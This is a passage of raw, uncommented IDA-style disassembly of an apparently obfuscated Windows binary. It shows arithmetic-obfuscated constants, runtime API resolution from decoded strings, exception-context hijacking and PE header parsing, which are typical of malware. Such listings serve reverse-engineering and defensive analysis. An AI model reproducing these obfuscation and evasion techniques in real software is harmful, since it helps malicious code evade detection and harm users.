		lea	edi, dword_4CD930


loc_4456CB:				; CODE XREF: sub_44569A+29j
		mov	eax, dword_5511FC
		add	eax, dword_5511D4
		sub	eax, 9
		push	eax
		push	80h
		push	3
		mov	eax, dword_551124
		sub	eax, 9
		push	eax
		push	3
		push	0C0000000h
		push	edi
		call	ds:dword_54FC18
		mov	edi, eax
		movsx	eax, word_5510B0
		add	eax, 0FFFFFFFEh
		cmp	eax, edi
		jz	loc_4457C8
		push	0
		mov	eax, dword_551174
		movsx	edx, word_5511AC
		add	eax, edx
		sub	eax, 7
		push	eax
		push	esi
		push	edi
		call	ds:dword_550030
		movsx	eax, word_5510F0
		add	eax, dword_551250
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFh
		lea	eax, [ebp+var_10003]
		push	eax
		push	edi
		call	ds:dword_448034
		lea	ecx, [ebp+var_FFFF]
		or	eax, 0FFFFFFFFh


loc_445759:				; CODE XREF: sub_44569A+C4j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_445759
		movsx	edx, word_551224
		add	edx, 3
		mov	ebx, eax
		add	ebx, edx
		mov	[ebp+var_4], ebx
		push	0
		movsx	eax, word_551194
		sub	eax, 7
		push	eax
		push	esi
		push	edi
		call	ds:dword_550030
		mov	esi, dword_5511A4
		mov	ebx, [ebp+var_4]
		mov	[ebp+esi*4+var_1001C+1], ebx
		movsx	eax, word_55120C
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		movsx	eax, word_551144
		add	eax, dword_5510A8
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_10003]
		push	eax
		push	edi
		call	ds:dword_55001C
		push	edi
		call	ds:dword_4CDA48


loc_4457C8:				; CODE XREF: sub_44569A+6Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44569A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4457CD	proc near		; DATA XREF: .data:005512F8o

arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_4]
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		movsx	eax, word_5511BC
		mov	edx, dword_551090
		lea	eax, [eax+edx+0F4h]
		cmp	eax, edi
		jnz	short loc_445800
		push	[ebp+arg_14]
		call	sub_44300F
		pop	ecx
		xor	eax, eax
		jmp	short loc_445826
; ---------------------------------------------------------------------------


loc_445800:				; CODE XREF: sub_4457CD+24j
		mov	eax, dword_5511E4
		add	eax, 0FDh
		add	eax, dword_551174
		cmp	edi, eax
		jnz	short loc_445821
		push	[ebp+arg_14]
		call	sub_43EC94
		pop	ecx
		xor	eax, eax
		jmp	short loc_445826
; ---------------------------------------------------------------------------


loc_445821:				; CODE XREF: sub_4457CD+45j
		mov	eax, 80020003h


loc_445826:				; CODE XREF: sub_4457CD+31j
					; sub_4457CD+52j
		pop	edi
		pop	ebp
		retn	24h
sub_4457CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44582B	proc near		; CODE XREF: sub_43C752+B0p
					; sub_43C752+26Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		push	ebx
		call	ds:dword_448000
		mov	edi, eax
		mov	eax, dword_5510B8
		sub	eax, 8
		push	eax
		mov	eax, dword_5510C4
		sub	eax, 9
		push	eax
		mov	eax, dword_551248
		add	eax, 1FFBh
		push	eax
		push	esi
		push	edi
		push	ebx
		mov	eax, dword_551174
		movsx	edx, word_5510A0
		add	eax, edx
		sub	eax, 8
		push	eax
		push	0
		call	ds:dword_448010
		mov	eax, dword_551264
		movsx	edx, word_551120
		add	eax, edx
		sub	eax, 6
		mov	[esi+edi], al
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44582B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445895	proc near		; CODE XREF: sub_43E04C+1D9p
					; sub_43E04C+1FCp ...

var_4F		= byte ptr -4Fh
var_1D		= byte ptr -1Dh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	ds:dword_54EB70
		mov	[ebp+var_4], eax
		mov	esi, dword_5511C0
		jmp	short loc_44591A
; ---------------------------------------------------------------------------


loc_4458B2:				; CODE XREF: sub_445895+93j
		mov	edx, dword_5510D4
		add	edx, dword_551270
		sub	edx, 0Ch
		cmp	ds:dword_44A0E0[esi*4],	edx
		jz	short loc_445919
		mov	edx, ds:dword_4CDA50[esi*4]
		mov	[ebp+var_14], edx
		mov	ecx, dword_5511E0
		add	ecx, 0EA57h
		mov	eax, dword_55110C
		movsx	edx, word_5510D8
		add	eax, edx
		mov	edx, eax
		sub	edx, 0Dh
		imul	ecx, edx
		mov	edx, [ebp+var_14]
		add	edx, ecx
		cmp	edx, [ebp+var_4]
		jnb	short loc_445919
		mov	edx, dword_551134
		movsx	ecx, word_55112C
		add	edx, ecx
		sub	edx, 0Dh
		mov	ds:dword_44A0E0[esi*4],	edx


loc_445919:				; CODE XREF: sub_445895+33j
					; sub_445895+69j
		inc	esi


loc_44591A:				; CODE XREF: sub_445895+1Bj
		movsx	eax, word_551274
		add	eax, 3E7h
		cmp	esi, eax
		jb	short loc_4458B2


loc_44592A:				; CODE XREF: sub_445895+BCj
					; sub_445895+27Dj
		mov	eax, [ebx]
		mov	[ebp+var_10], eax
		lea	ebx, [ebx+eax]
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	loc_445B18
		mov	eax, dword_5510B8
		add	eax, dword_551204
		sub	eax, 7
		cmp	[ebp+var_10], eax
		ja	short loc_44592A
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_445958:				; CODE XREF: sub_445895+C8j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_445958
		mov	[ebp+var_C], eax
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		movsx	edx, word_5510B0
		add	edx, 3
		sub	eax, edx
		mov	[ebp+var_8], eax
		mov	edi, dword_551124
		sub	edi, 9
		jmp	short loc_4459B0
; ---------------------------------------------------------------------------


loc_445981:				; CODE XREF: sub_445895+127j
		mov	al, ds:byte_44B1B0[edi]
		cmp	al, [ebp+arg_10]
		jnz	short loc_4459AF
		mov	edx, [ebp+var_8]
		cmp	ds:dword_449020[edi*4],	edx
		jnz	short loc_4459AF
		mov	edx, dword_5510C4
		sub	edx, 9
		cmp	ds:dword_44A0E0[edi*4],	edx
		jnz	loc_445AFC


loc_4459AF:				; CODE XREF: sub_445895+F6j
					; sub_445895+102j
		inc	edi


loc_4459B0:				; CODE XREF: sub_445895+EAj
		mov	eax, dword_5510D4
		add	eax, 3E1h
		cmp	edi, eax
		jb	short loc_445981
		movsx	eax, word_551240
		add	eax, 3BFh
		cmp	[ebp+var_C], eax
		jbe	loc_445AA9
		mov	eax, dword_551238
		add	eax, 4
		add	eax, dword_551114
		push	eax
		lea	eax, [ebp+var_4F]
		push	eax
		call	sub_44675D
		add	esp, 8
		movsx	eax, word_5510EC
		movsx	edx, word_551168
		add	eax, edx
		sub	eax, 4
		mov	[ebp+var_1C], eax
		mov	eax, dword_551238
		add	eax, 3B7h
		add	eax, dword_55118C
		mov	[ebp+var_18], eax


loc_445A17:				; CODE XREF: sub_445895+20Fj
		mov	eax, [ebp+var_18]
		mov	al, [ebx+eax]
		mov	[ebp+var_1D], al
		mov	eax, [ebp+var_18]
		mov	edx, dword_5511F0
		add	edx, dword_551200
		sub	edx, 0Ch
		mov	[ebx+eax], dl
		push	offset dword_449FE0
		push	[ebp+var_C]
		push	[ebp+var_1C]
		lea	eax, [ebp+var_4F]
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		mov	eax, dword_551248
		movsx	edx, word_5510EC
		add	eax, edx
		sub	eax, 4
		and	eax, 0FFh
		push	eax
		call	sub_4423A6
		add	esp, 24h
		mov	eax, [ebp+var_18]
		mov	[ebp+var_1C], eax
		mov	dl, [ebp+var_1D]
		mov	[ebx+eax], dl
		mov	eax, dword_5510B8
		add	eax, 3B6h
		movsx	edx, word_551180
		add	eax, edx
		add	[ebp+var_18], eax
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_18], eax
		jbe	short loc_445A9C
		mov	[ebp+var_18], eax


loc_445A9C:				; CODE XREF: sub_445895+202j
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_1C], eax
		jnb	short loc_445AF7
		jmp	loc_445A17
; ---------------------------------------------------------------------------


loc_445AA9:				; CODE XREF: sub_445895+138j
		push	offset dword_551A84
		call	sub_43AC94
		push	offset dword_449FE0
		push	[ebp+var_C]
		mov	edx, dword_5511C0
		add	edx, dword_5511A4
		sub	edx, 6
		push	edx
		push	eax
		mov	edx, [ebp+arg_C]
		push	dword ptr [edx]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		movsx	edx, word_5510AC
		add	edx, dword_551250
		sub	edx, 9
		and	edx, 0FFh
		push	edx
		call	sub_4423A6
		add	esp, 28h


loc_445AF7:				; CODE XREF: sub_445895+20Dj
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]


loc_445AFC:				; CODE XREF: sub_445895+114j
		inc	ebx
		mov	eax, [ebp+var_C]
		lea	ebx, [ebx+eax]
		mov	eax, [ebp+arg_C]
		movsx	edx, word_551110
		add	edx, 13h
		cmp	[eax], edx
		jbe	loc_44592A


loc_445B18:				; CODE XREF: sub_445895+A5j
		push	offset dword_551A80
		call	sub_43AC94
		push	offset dword_449FE0
		movsx	edx, word_5511C8
		mov	ecx, edx
		sub	ecx, 7
		push	ecx
		mov	ecx, dword_551098
		sub	ecx, 2
		push	ecx
		push	eax
		mov	ecx, dword_5510F4
		sub	ecx, 2
		push	ecx
		mov	ecx, dword_55116C
		movsx	eax, word_551210
		add	ecx, eax
		sub	ecx, 0Ch
		push	ecx
		movsx	ecx, word_5511AC
		movsx	eax, word_551254
		add	ecx, eax
		sub	ecx, 0Eh
		push	ecx
		push	[ebp+arg_8]
		movsx	ecx, word_551214
		add	ecx, edx
		mov	edx, ecx
		sub	edx, 9
		and	edx, 0FFh
		push	edx
		call	sub_4423A6
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_445895	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445B95	proc near		; CODE XREF: sub_445BAD+50p
					; sub_445BAD+65p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	[ebp+arg_0]
		push	dword_5512A0
		call	ds:dword_44B1AC
		mov	edi, eax
		pop	edi
		pop	ebp
		retn
sub_445B95	endp


; =============== S U B	R O U T	I N E =======================================



sub_445BAD	proc near		; CODE XREF: sub_43E491+34p
		push	edi
		push	offset dword_551A70
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_5512A0, eax
		mov	eax, dword_551164
		add	eax, dword_55109C
		sub	eax, 7
		cmp	dword_5512A0, eax
		jnz	short loc_445BF2
		push	offset dword_551A60
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_48C318
		mov	dword_5512A0, eax


loc_445BF2:				; CODE XREF: sub_445BAD+2Cj
		push	offset word_551A42
		call	sub_43AC94
		push	eax
		call	sub_445B95
		mov	ds:dword_48B9E8, eax
		push	offset byte_551A2B
		call	sub_43AC94
		push	eax
		call	sub_445B95
		mov	ds:dword_4CEA10, eax
		push	offset dword_551A10
		call	sub_43AC94
		push	eax
		call	sub_445B95
		mov	ds:dword_448050, eax
		push	offset byte_5519F3
		call	sub_43AC94
		push	eax
		call	sub_445B95
		mov	ds:dword_44B1A8, eax
		push	offset byte_5519DF
		call	sub_43AC94
		push	eax
		call	sub_445B95
		mov	ds:dword_54EA68, eax
		push	offset byte_5519CB
		call	sub_43AC94
		push	eax
		call	sub_445B95
		mov	ds:dword_44B080, eax
		push	offset byte_5519AB
		call	sub_43AC94
		push	eax
		call	sub_445B95
		mov	ds:dword_449008, eax
		push	offset word_55198E
		call	sub_43AC94
		push	eax
		call	sub_445B95
		mov	ds:dword_48C1E4, eax
		push	offset word_55197A
		call	sub_43AC94
		push	eax
		call	sub_445B95
		mov	ds:dword_44804C, eax
		push	offset byte_551961
		call	sub_43AC94
		push	eax
		call	sub_445B95
		mov	ds:dword_448020, eax
		push	offset asc_551952 ; "\v"
		call	sub_43AC94
		push	eax
		call	sub_445B95
		mov	ds:dword_4CEA08, eax
		push	offset byte_551941
		call	sub_43AC94
		push	eax
		call	sub_445B95
		mov	ds:dword_44B59C, eax
		push	offset byte_55192B
		call	sub_43AC94
		push	eax
		call	sub_445B95
		mov	ds:dword_48B9DC, eax
		push	offset word_551912
		call	sub_43AC94
		push	eax
		call	sub_445B95
		mov	ds:dword_4CD91C, eax
		push	offset word_551902
		call	sub_43AC94
		push	eax
		call	sub_445B95
		add	esp, 78h
		mov	ds:dword_44B5A0, eax
		pop	edi
		retn
sub_445BAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445D32	proc near		; DATA XREF: sub_442C83+Bo

arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		mov	esi, [ebp+arg_8]
		mov	eax, offset loc_43A8B0
		mov	[esi+0B8h], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+0C4h], eax
		popa
		mov	esp, ebp
		pop	ebp
		xor	eax, eax
		retn
sub_445D32	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445D55	proc near		; CODE XREF: sub_443F7C+D7p
					; sub_443F7C+110p ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 2Bh
		mov	edx, 2FA0BE83h
		mul	edx
		shr	edx, 3
		mov	[ebp+var_4], edx
		mov	edi, edx
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_551110
		add	edx, 3
		cmp	eax, edx
		jnz	short loc_445D91
		mov	eax, 6Fh
		jmp	short loc_445E10
; ---------------------------------------------------------------------------


loc_445D91:				; CODE XREF: sub_445D55+33j
		mov	eax, dword_551150
		sub	eax, 4
		movzx	edx, [ebp+arg_0]
		cmp	eax, edx
		jnz	short loc_445DA8
		mov	eax, 65h
		jmp	short loc_445E10
; ---------------------------------------------------------------------------


loc_445DA8:				; CODE XREF: sub_445D55+4Aj
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_5510BC
		movsx	ecx, word_5510CC
		add	edx, ecx
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_445DC9
		mov	eax, 69h
		jmp	short loc_445E10
; ---------------------------------------------------------------------------


loc_445DC9:				; CODE XREF: sub_445D55+6Bj
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_551118
		sub	edx, 8
		cmp	eax, edx
		jnz	short loc_445DE1
		mov	eax, 79h
		jmp	short loc_445E10
; ---------------------------------------------------------------------------


loc_445DE1:				; CODE XREF: sub_445D55+83j
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_5511E0
		sub	edx, 7
		cmp	eax, edx
		jnz	short loc_445DF9
		mov	eax, 75h
		jmp	short loc_445E10
; ---------------------------------------------------------------------------


loc_445DF9:				; CODE XREF: sub_445D55+9Bj
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_551214
		add	edx, 2
		cmp	eax, edx
		jnz	short loc_445E10
		mov	eax, 61h


loc_445E10:				; CODE XREF: sub_445D55+3Aj
					; sub_445D55+51j ...
		pop	edi
		pop	ebx
		leave
		retn
sub_445D55	endp


; =============== S U B	R O U T	I N E =======================================



sub_445E14	proc near		; CODE XREF: sub_43E491+43p
		push	offset dword_5518E8
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_4CEA1C, eax
		push	offset byte_5518D3
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_44B088, eax
		push	offset byte_5518C3
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_449FC0, eax
		push	offset word_5518B6
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_55001C, eax
		push	offset byte_5518A7
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_4CD910, eax
		push	offset word_551892
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_54EA4C, eax
		push	offset byte_551877
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_4CDA44, eax
		push	offset byte_551869
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_54EA60, eax
		push	offset byte_55185D
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_448034, eax
		push	offset byte_551847
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_4CD918, eax
		push	offset dword_551830
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_48B9F4, eax
		push	offset word_55181E
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_44B5A8, eax
		push	offset byte_551807
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_50EA20, eax
		push	offset dword_5517F4
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_54FC10, eax
		push	offset dword_5517DC
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_48B9F8, eax
		push	offset byte_5517CB
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_449FC8, eax
		push	offset byte_5517BB
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_54EB70, eax
		push	offset byte_5517AB
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_48C31C, eax
		push	offset asc_55179C ; "\v"
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_4CEA14, eax
		push	offset byte_55178D
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_54FC1C, eax
		push	offset byte_55177F
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_48B9EC, eax
		push	offset byte_551773
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_448000, eax
		push	offset dword_551764
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_44800C, eax
		push	offset byte_551757
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_44B5CC, eax
		push	offset byte_55173F
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_448014, eax
		push	offset dword_551728
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_50EA34, eax
		push	offset dword_551710
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_54EB78, eax
		push	offset byte_5516F7
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_4CEA04, eax
		push	(offset	aY+2)
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_4CC530, eax
		push	offset word_5516D6
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_448044, eax
		push	offset byte_5516C5
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_54EA64, eax
		push	offset word_5516AE
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_44B5B0, eax
		push	offset dword_55169C
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_550030, eax
		push	offset dword_551688
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_448040, eax
		push	offset dword_551678
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_4CEA0C, eax
		push	offset asc_55166B ; "\t"
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_4CC644, eax
		push	offset byte_551655
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_48C314, eax
		push	offset asc_55164A ; "\a"
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_44B094, eax
		push	offset byte_551639
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_448038, eax
		push	offset word_55162A
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_55002C, eax
		push	offset byte_55161B
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_54FC18, eax
		push	offset dword_551604
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_448010, eax
		push	offset byte_5515F3
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_550028, eax
		push	(offset	aN+2)
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_44B5BC, eax
		push	offset dword_5515D4
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		add	esp, 168h
		mov	ds:dword_4CC328, eax
		retn
sub_445E14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4461CC	proc near		; CODE XREF: sub_43E491+3C8p

var_10030	= dword	ptr -10030h
var_1002B	= byte ptr -1002Bh
var_2C		= byte ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 10030h
		call	sub_44797C
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_5511E4
		sub	eax, 5
		cmp	eax, ds:dword_449FC4
		jz	loc_446424
		movsx	eax, word_551194
		sub	eax, 7
		push	eax
		mov	eax, dword_551204
		add	eax, dword_5510D0
		sub	eax, 7
		push	eax
		mov	eax, dword_551158
		dec	eax
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_449FC4
		mov	ebx, eax
		mov	eax, dword_5511D4
		movsx	edx, word_551120
		add	eax, edx
		sub	eax, 0Ch
		cmp	ebx, eax
		jnz	loc_446424
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, dword_551160
		sub	eax, 5
		push	eax
		mov	eax, dword_5511A4
		movsx	edx, word_5510A0
		add	eax, edx
		sub	eax, 0Dh
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	eax, dword_5510C4
		movsx	edx, word_551140
		add	eax, edx
		sub	eax, 0Eh
		cmp	eax, ebx
		jnz	loc_446408


loc_446279:				; CODE XREF: sub_4461CC+133j
					; sub_4461CC+168j
		mov	eax, dword_551270
		movsx	edx, word_5510EC
		add	eax, edx
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		movsx	eax, word_5511A8
		movsx	edx, word_551260
		add	eax, edx
		sub	eax, 8
		push	eax
		mov	eax, [ebp+var_18]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	ebx, eax
		movsx	eax, word_551120
		sub	eax, 3
		cmp	ebx, eax
		jnz	loc_4463E6
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, dword_5510C0
		add	eax, dword_551230
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		movsx	eax, word_551170
		add	eax, dword_551208
		sub	eax, 3
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+3Ch]
		mov	ebx, eax
		movsx	eax, word_551214
		sub	eax, 3
		cmp	ebx, eax
		jnz	loc_446279


loc_446305:				; CODE XREF: sub_4461CC+215j
		mov	eax, dword_5510DC
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		mov	eax, dword_551250
		dec	eax
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	ebx, eax
		mov	eax, dword_55119C
		add	eax, dword_551090
		sub	eax, 8
		cmp	eax, ebx
		jnz	loc_446279
		mov	eax, dword_551138
		sub	eax, 3
		push	eax
		lea	eax, [ebp+var_10030]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, dword_551200
		add	eax, dword_55116C
		sub	eax, 0Ch
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+28h]
		mov	ebx, eax
		movsx	eax, word_5510E4
		movsx	edx, word_551120
		add	eax, edx
		movsx	edx, word_55112C
		sub	edx, 5
		mov	byte ptr [ebp+eax+var_10030+2],	dl
		mov	eax, dword_55126C
		sub	eax, 8
		cmp	ebx, eax
		jnz	short loc_4463B1
		lea	eax, [ebp+var_1002B]
		push	eax
		mov	eax, [ebp+var_10030]
		push	dword ptr [eax+4]
		call	sub_44582B
		add	esp, 8


loc_4463B1:				; CODE XREF: sub_4461CC+1CBj
		lea	eax, [ebp+var_1002B]
		push	eax
		lea	esi, [ebp+var_2C]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_14]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		push	[ebp+var_4]
		call	sub_43C752
		add	esp, 28h
		jmp	loc_446305
; ---------------------------------------------------------------------------


loc_4463E6:				; CODE XREF: sub_4461CC+EEj
		mov	eax, dword_5511FC
		cmp	[ebp+var_1C], eax
		jz	short loc_4463F9
		mov	eax, [ebp+var_1C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4463F9:				; CODE XREF: sub_4461CC+222j
		cmp	[ebp+var_18], 0
		jz	short loc_446408
		mov	eax, [ebp+var_18]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_446408:				; CODE XREF: sub_4461CC+A7j
					; sub_4461CC+231j
		mov	eax, dword_5511E0
		add	eax, dword_551134
		sub	eax, 11h
		cmp	[ebp+var_4], eax
		jz	short loc_446424
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_446424:				; CODE XREF: sub_4461CC+1Ej
					; sub_4461CC+64j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4461CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446429	proc near		; CODE XREF: sub_4421CF+54p
					; sub_4421CF+D5p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		movzx	ebx, byte ptr [eax]
		mov	eax, dword_55119C
		add	eax, 0F8h
		add	eax, dword_551218
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+1]
		add	ebx, eax
		movsx	eax, word_55123C
		add	eax, 0FDh
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+2]
		add	ebx, eax
		mov	esi, dword_5511B0
		sub	esi, 7
		jmp	short loc_4464B5
; ---------------------------------------------------------------------------


loc_446475:				; CODE XREF: sub_446429+9Ej
		mov	edi, dword_551230
		sub	edi, 2
		sub	edi, esi
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], edx
		mov	edx, ebx
		and	edx, 8000003Fh
		jge	short loc_446495
		dec	edx
		or	edx, 0FFFFFFC0h
		inc	edx


loc_446495:				; CODE XREF: sub_446429+65j
		mov	dl, ds:byte_550040[edx]
		mov	ecx, [ebp+var_4]
		mov	[ecx+edi], dl
		mov	eax, ebx
		mov	ecx, dword_551238
		add	ecx, 37h
		cdq
		idiv	ecx
		mov	ebx, eax
		add	esi, 1


loc_4464B5:				; CODE XREF: sub_446429+4Aj
		movsx	eax, word_551104
		add	eax, dword_551204
		sub	eax, 4
		cmp	esi, eax
		jl	short loc_446475
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_446429	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4464CE	proc near		; DATA XREF: .data:005512E4o
		push	ebp
		mov	ebp, esp
		push	offset dword_55003C
		call	ds:dword_48B9F8
		mov	eax, ds:dword_55003C
		pop	ebp
		retn	4
sub_4464CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4464E5	proc near		; CODE XREF: sub_43E491+341p

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	esi, [eax+3Ch]
		mov	edi, esi
		add	edi, eax
		mov	eax, [edi+28h]
		mov	edx, ds:dword_4CE9F0
		add	edx, [ebp+arg_0]
		mov	esi, eax
		add	esi, edx
		movzx	eax, byte ptr [esi]
		xor	eax, 4Dh
